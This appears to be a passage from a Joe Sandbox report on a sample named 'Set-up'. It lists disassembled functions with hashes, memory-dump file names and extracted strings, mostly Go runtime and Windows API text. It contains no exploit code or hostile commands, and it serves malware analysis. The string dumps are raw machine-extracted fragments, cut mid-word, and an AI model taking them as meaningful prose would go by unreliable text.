Instruction Fuzzy Hash: 240203B45083058FCB10EF24C08066ABBE1FB88749F55892EE8D987351E775D989DFA3

Function 00D4A0C0 Relevance: 14.1, Strings: 11, Instructions: 340COMMON

Download Yara Rule

Strings

., xrefs: 00D4A62C
misrounded allocation in sysAlloc .nameFrom: name too long: : Field index out of range : NumOut of non-func type : array index out of range : chanDir of non-chan type : slice index out of rangeruntime: castogscanstatus old, xrefs: 00D4A570
arena already initializedarray index out of boundsbad status in shrinkstackbad system huge page sizechansend: spurious wakeupcheckdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid ob, xrefs: 00D4A37C
runtime: memory allocated by OS [runtime: name offset out of rangeruntime: text offset out of rangeruntime: type offset out of rangescalar has high bit set illegallyslice bounds out of range [%x:%y]stackalloc not on scheduler stackstoplockedm: inconsistent loc, xrefs: 00D4A59B
out of memory allocating allArenaspkcs7: attribute %s does not exist : ChanDir of non-chan type : Field index out of bounds : Field of non-struct type : string index out of range : cannot pass runtime: g is running , xrefs: 00D4A350
out of memory allocating heap arena metadata : funcLayout with interface receiver use of WriteTo with pre-connected connectionx509: internal error: cannot parse domain %qx509: invalid RDNSequence: invalid attributebufio.Scanner: Read returned impossible , xrefs: 00D4A366
memory reservation exceeds address space limitos: unexpected result from WaitForSingleObjectpanicwrap: unexpected string after type name: pkcs7: content data is a decryptable data type : slice index out of boundsreleased less than one physica, xrefs: 00D4A623
) not in usable address space: ...additional frames elided....lib section in a.out corrupted11368683772161602973937988281255684341886080801486968994140625Central Brazilian Standard TimeCertDuplicateCertificateContextMountain Standard Time (Mexico)SetupDiGetDe, xrefs: 00D4A5EF
out of memory allocating heap arena mapruntime: blocked write on free polldescruntime: casfrom_Gscanstatus failed gp=stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+v) %+v %s @%dtraceback: unexpected SPWR, xrefs: 00D4A39C
, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS, xrefs: 00D4A5C5
region exceeds uintptr range unexpectedruntime: casgstatus: oldval=runtime: no module data for save on system g not allowedunrecognized PE machine: %#xunreserving unaligned regionx509: invalid DSA parametersx509: invalid DSA public keyx509: in, xrefs: 00D4A53B

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: ) not in usable address space: ...additional frames elided....lib section in a.out corrupted11368683772161602973937988281255684341886080801486968994140625Central Brazilian Standard TimeCertDuplicateCertificateContextMountain Standard Time (Mexico)SetupDiGetDe$, ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-08-09-11-12...///125625:\/???ADTAS$.$arena already initializedarray index out of boundsbad status in shrinkstackbad system huge page sizechansend: spurious wakeupcheckdead: no m for timerexplicit tag has no childinconsistent poll.fdMutexinvalid cross-device linkinvalid network interfaceinvalid ob$memory reservation exceeds address space limitos: unexpected result from WaitForSingleObjectpanicwrap: unexpected string after type name: pkcs7: content data is a decryptable data type : slice index out of boundsreleased less than one physica$misrounded allocation in sysAlloc .nameFrom: name too long: : Field index out of range : NumOut of non-func type : array index out of range : chanDir of non-chan type : slice index out of rangeruntime: castogscanstatus old$out of memory allocating allArenaspkcs7: attribute %s does not exist : ChanDir of non-chan type : Field index out of bounds : Field of non-struct type : string index out of range : cannot pass runtime: g is running $out of memory allocating heap arena mapruntime: blocked write on free polldescruntime: casfrom_Gscanstatus failed gp=stack growth not allowed in system callsuspendG from non-preemptible goroutinetags don't match (%d vs %+v) %+v %s @%dtraceback: unexpected SPWR$out of memory allocating heap arena metadata : funcLayout with interface receiver use of WriteTo with pre-connected connectionx509: internal error: cannot parse domain %qx509: invalid RDNSequence: invalid attributebufio.Scanner: Read returned impossible $region exceeds uintptr range unexpectedruntime: casgstatus: oldval=runtime: no module data for save on system g not allowedunrecognized PE machine: %#xunreserving unaligned regionx509: invalid DSA parametersx509: invalid DSA public keyx509: in$runtime: memory allocated by OS [runtime: name offset out of rangeruntime: text offset out of rangeruntime: type offset out of rangescalar has high bit set illegallyslice bounds out of range [%x:%y]stackalloc not on scheduler stackstoplockedm: inconsistent loc
API String ID: 0-1386449106
Opcode ID: b2fa40f80777bdf1410d491935f9ecc35482dcb6db81f639ec1eb11ec103af01
Instruction ID: 6299e5cfd7c72c29f57542001c5b6f9f838ebbbd8a442429dad2502f33b479c5
Opcode Fuzzy Hash: b2fa40f80777bdf1410d491935f9ecc35482dcb6db81f639ec1eb11ec103af01
Instruction Fuzzy Hash: 56F1F2B46093059FC704EF68D18065ABBE1FF88704F49892DE9C88B355E7B5E944CBA3

Function 00D57CB0 Relevance: 14.0, Strings: 11, Instructions: 296COMMON

Download Yara Rule

Strings

next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNa, xrefs: 00D5806F
runtime: P runtime: p scheddetailsechost.dllsecur32.dllshell32.dllshort writetracealloc(unreachableuserenv.dllversion.dllwsock32.dll B (goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages, xrefs: 00D57E97
flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOS, xrefs: 00D57EC2
work.full != 0zero parameter with GC prog is unavailable,M3.2.0,M11.1.00601021504Z0700476837158203125: cannot parse <invalid Value>ASCII_Hex_DigitAddDllDirectoryAlign 128-BytesAlign 265-BytesAlign 512-BytesCLSIDFromStringCreateErrorInfoCreateHardLinkWCustomA, xrefs: 00D57FEE
jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLy, xrefs: 00D58099
8, xrefs: 00D5819A
runtime: full=s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod, xrefs: 00D58045
P has cached GC work at end of mark terminationRtlDosPathNameToRelativeNtPathName_U_WithStatusasn1: Unmarshal recipient value is non-pointer attempting to link in too many shared librariesbufio: reader returned negative count from Readcorrupt PE file. Image ba, xrefs: 00D57F91
nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetOb, xrefs: 00D580EE
wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFre, xrefs: 00D57F08
in gcMark expecting to see gcphase as _GCmarkterminationnon-empty pointer map passed for non-pointer-size valuespkcs7: unsupported digest %q for encryption algorithm %qprofilealloc called without a P or outside bootstrappingstrings: illegal use of non-zero Bui, xrefs: 00D58191

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOS$ jobs= list= m->p= max= min= next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLy$ nBSSRoots= p->status= s.nelems= schedtick= span.list= timerslen=%!(BADPREC), elemsize=, npages = -syncWithWU/dev/stderr/dev/stdout30517578125: frame.sp=AssemblyRefBLAKE2b-256BLAKE2b-384BLAKE2b-512BLAKE2s-256BoundImportClassHESIODClassLayoutCloseHandleCoGetOb$ next= p->m= prev= span=% util(...), i = , not .reloc390625<-chanAnswerArabicAugustBrahmiCarianChakmaCommonCopticENCLogENCMapExpectExportFlags=FormatFridayGOROOTGetACPGothicHangulHatranHebrewHyphenIgnoreImportKaithiKhojkiLepchaLycianLydianMIPS16ModuleMondayNa$ wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_DigitInheritedInterfaceKhudawadiLocalFre$8$P has cached GC work at end of mark terminationRtlDosPathNameToRelativeNtPathName_U_WithStatusasn1: Unmarshal recipient value is non-pointer attempting to link in too many shared librariesbufio: reader returned negative count from Readcorrupt PE file. Image ba$in gcMark expecting to see gcphase as _GCmarkterminationnon-empty pointer map passed for non-pointer-size valuespkcs7: unsupported digest %q for encryption algorithm %qprofilealloc called without a P or outside bootstrappingstrings: illegal use of non-zero Bui$runtime: P runtime: p scheddetailsechost.dllsecur32.dllshell32.dllshort writetracealloc(unreachableuserenv.dllversion.dllwsock32.dll B (goal KiB total, MB stacks, [recovered] allocCount found at *( gcscandone m->gsignal= nDataRoots= nSpanRoots= pages$runtime: full=s.allocCount= semaRoot queuestack overflowstopm spinningstore64 failedsync.Cond.Waittext file busytime.Location(timeEndPeriod$work.full != 0zero parameter with GC prog is unavailable,M3.2.0,M11.1.00601021504Z0700476837158203125: cannot parse <invalid Value>ASCII_Hex_DigitAddDllDirectoryAlign 128-BytesAlign 265-BytesAlign 512-BytesCLSIDFromStringCreateErrorInfoCreateHardLinkWCustomA
API String ID: 0-3575252255
Opcode ID: 07fc3212823f6d66969de4d5abe3a5382c88a1b19bbc749e11aa60ffdb4d57af
Instruction ID: 388173f5c23cc2b20a91a0571f65d3a0f11f1f1656f7f499171840add32f6fcd
Opcode Fuzzy Hash: 07fc3212823f6d66969de4d5abe3a5382c88a1b19bbc749e11aa60ffdb4d57af
Instruction Fuzzy Hash: 7FD1F774609705CFD714EF64E181A2ABBE1FF88704F44882DE8898B356EB759848DF32

Function 00D575C0 Relevance: 14.0, Strings: 11, Instructions: 260COMMON

Download Yara Rule

Strings

GC worker initGetConsoleModeGetProcAddressGetShellWindowGetTickCount64GetUserNameExWIsWellKnownSidIsWow64ProcessLoadLibraryExWLoadRegTypeLibMB; allocated MakeAbsoluteSDModule32FirstWNetUserGetInfoNtResumeThreadOS/2 characterOaBuildVersionOleLoadPictureOpenSCMa, xrefs: 00D575FE, 00D5760C
runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: invalid version%SystemR, xrefs: 00D57957
gcBgMarkWorker: blackening not enabledindex out of range [%x] with length %yinsufficient data for base length typeinternal error: unknown string type %dm changed unexpectedly in cgocallbackgmakechan: invalid channel element typeruntime: blocked read on free po, xrefs: 00D57A25
runtime: p.gcMarkWorkerMode= runtime: split stack overflowruntime: sudog with non-nil cruntime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning booleantimeBegin/EndPeriod not foundtoo many open files in syste, xrefs: 00D578AB
&, xrefs: 00D57A2E
work.nwait was > work.nprocx509: malformed certificate args stack map entries for 18189894035458564758300781259094947017729282379150390625Aus Central W. Standard TimeCanada Central Standard TimeCen. Australia Standard TimeCentral Europe Standard TimeCertCreate, xrefs: 00D579B5
gcBgMarkWorker: mode not setgcstopm: negative nmspinninginvalid P224Element encodinginvalid P384Element encodinginvalid P521Element encodinginvalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sweep: m is not lockednewproc1, xrefs: 00D579CB
work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcesses, xrefs: 00D57900, 00D57981
work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcessesExitWindowsEx, xrefs: 00D578D6
work.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version116415321826934814453125582076609134674072265625AllocateAndInitializeSidAssignProcessToJobObjectAzerbaijan Standard TimeBangladesh Standard TimeBuildSecurityDescriptorW, xrefs: 00D57934
worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , , xrefs: 00D579F0

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
String ID: work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcesses$ work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteServiceEFI ROM imageEFI byte codeEnumProcessesExitWindowsEx$&$GC worker initGetConsoleModeGetProcAddressGetShellWindowGetTickCount64GetUserNameExWIsWellKnownSidIsWow64ProcessLoadLibraryExWLoadRegTypeLibMB; allocated MakeAbsoluteSDModule32FirstWNetUserGetInfoNtResumeThreadOS/2 characterOaBuildVersionOleLoadPictureOpenSCMa$gcBgMarkWorker: blackening not enabledindex out of range [%x] with length %yinsufficient data for base length typeinternal error: unknown string type %dm changed unexpectedly in cgocallbackgmakechan: invalid channel element typeruntime: blocked read on free po$gcBgMarkWorker: mode not setgcstopm: negative nmspinninginvalid P224Element encodinginvalid P384Element encodinginvalid P521Element encodinginvalid runtime symbol tablemheap.freeSpanLocked - span missing stack in shrinkstackmspan.sweep: m is not lockednewproc1$runtime: p.gcMarkWorkerMode= runtime: split stack overflowruntime: sudog with non-nil cruntime: summary max pages = semacquire not on the G stackstring concatenation too longsyntax error scanning booleantimeBegin/EndPeriod not foundtoo many open files in syste$runtime: work.nwait= sequence tag mismatchstale NFS file handlestartlockedm: m has pstartm: m is spinningstate not recoverabletimer data corruptiontrace/breakpoint trapunexpected value stepuser defined signal 1user defined signal 2x509: invalid version%SystemR$work.nwait > work.nprocx509: invalid key usagex509: malformed UTCTimex509: malformed version116415321826934814453125582076609134674072265625AllocateAndInitializeSidAssignProcessToJobObjectAzerbaijan Standard TimeBangladesh Standard TimeBuildSecurityDescriptorW$work.nwait was > work.nprocx509: malformed certificate args stack map entries for 18189894035458564758300781259094947017729282379150390625Aus Central W. Standard TimeCanada Central Standard TimeCen. Australia Standard TimeCentral Europe Standard TimeCertCreate$worker mode wtsapi32.dll != sweepgen (default %q) (default %v) MB globals, MB) workers= called from flushedWork idlethreads= in host name is nil, not nStackRoots= out of range pluginpath= s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= ,
API String ID: 0-4120117168
Opcode ID: 6371d0fc10fd366a4d452b4affd8543c373869662c062b6699e0ebe7f609bcfc
Instruction ID: a2548a0acecf4307ad3d6e435ba49b3f3563184d21ac44b3943f82afb184a216
Opcode Fuzzy Hash: 6371d0fc10fd366a4d452b4affd8543c373869662c062b6699e0ebe7f609bcfc
Instruction Fuzzy Hash: CEC1FFB45097048FC744EF24E184B5ABBE1FF88700F54896EE8898B352E774D849DF62

Function 00D5C230 Relevance: 14.0, Strings: 11, Instructions: 236COMMON

Download Yara Rule

Strings

s.spanclass= span.base()= syscalltick= work.nproc= work.nwait= , gp->status=, not pointer-byte block (3814697265625Align 2-BytesAlign 4-BytesAlign 8-BytesAssemblyRefOSBSTR_UserFreeBSTR_UserSizeCertOpenStoreClearCustDataCoTaskMemFreeCreateTypeLibDeleteService, xrefs: 00D5C344
+,-./05:;<=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03, xrefs: 00D5C558
s.elemsize= s.sweepgen= span.limit= span.state= sysmonwait= wbuf1=<nil> wbuf2=<nil>%!(BADWIDTH)) p->status=, cons/mark -byte limit152587890625762939453125Align 1-ByteArchitectureBidi_ControlCfgMgr32.dllCoCreateGuidCreateEventWCreateMutexWDeclSecurityDispCall, xrefs: 00D5C36E
unknown(wsaioctlx509sha1 (forced) B exp.) B work ( blocked= in use) lockedg= lockedm= m->curg= marked method: ms cpu, not in [ runtime= s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, , xrefs: 00D5C41A
... BOM) MB, and max= ms, ptr tab= top=+0330+0430+0530+0545+0630+0845+1030+1245+1345, fp:-09301562578125<nil>AdlamAprilBamumBatakBuhidDEBUGDebugDograECDSAERRORErrorEventFATALFieldFixupGreekKhmerLatinLimbuLocalLstatMarchNushuOghamOriyaOsageP-224P-256P-384, xrefs: 00D5C4FD, 00D5C608
s=nil text= zombie% CPU (, Size=, goid=, j0 = 19531252.5.4.32.5.4.52.5.4.62.5.4.72.5.4.82.5.4.99765625AvestanBengaliBorlandBrailleChanDirCopySidCypriotDeseretEd25519ElbasanElymaicFreeSidGODEBUGGranthaHanunooIO waitImplMapJanuaryKannadaMD2-RSAMD5-RSAMUI_DltM, xrefs: 00D5C4A9
=?BCMOSZ["]_`hms{} + @ P [(") )(), ->//000X0b0o0x25: ; =#> CNCcCfCoCsLlLmLoLtLuMcMeMnNdNlNoOUPcPdPePfPiPoPsR8R9STScSkSmSoYiZlZpZs")"\* ][]i)msnss us|0|1} G M P ) *( - < > m= n=%25%: ***+00+01+03+04+05+06+07+08+09+10+11+12+13+14-01-02-03-04-05-06-, xrefs: 00D5C293
) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1avx2basebindbmi1bmi2boolcallcas1cas2cas3cas4, xrefs: 00D5C582
<== as at fp= is lr: of on pc= sp: sp=) = ) m=+Inf-Inf.bat.cmd.com.crt.exe3125: p=ACDTACSTAEDTAESTAKDTAKSTAWSTAhomAtoiCESTCOFFChamDashEESTFileGOGCINFOJulyJuneLEAFLTCGLisuMiaoMiscModiNB10NZDTNZSTNewaPOGORSDSSASTStatThaiTrapWARNXBOXm=] = ] n=allgallpasn1, xrefs: 00D5C5C2
s.base()= spinning= stopwait= sweepgen sweepgen= targetpc= throwing= until pc=%!(NOVERB)%!Weekday((BADINDEX), bound = , limit = /dev/stdin012345678912207031256103515625AdditionalAssemblyOSBad varintC:\WindowsCancelIoExChorasmianClassCHAOSClassCSNETCreateFile, xrefs: 00D5C2F0
s.limit= s.state= threads= unmarked wbuf1.n= wbuf2.n=%!(EXTRA %s %q: %s(MISSING)(unknown)*invalid*, Offset=, newval=, oldval=, size = , tail = -07:00:00244140625: status=AuthorityBassa_VahBhaiksukiClassINETCuneiformDiacriticExceptionFindCloseGlobalPtrHex_Digi, xrefs: 00D5C31A

Memory Dump Source

Source File: 00000000.00000002.1940028088.0000000000D41000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D40000, based on PE: true

Associated: 00000000.00000002.1939841536.0000000000D40000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000EF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FE4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FF6000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1940432962.0000000000FFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941361616.00000000010B1000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941400778.00000000010B6000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941464809.00000000010B7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941491717.00000000010B8000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941570188.00000000010C9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941596695.00000000010CA000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010CC000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010D8000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F4000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941623048.00000000010F9000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941747349.00000000010FC000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.00000000010FD000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1941765596.0000000001111000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d40000_Set-up.jbxd

Similarity

API ID:
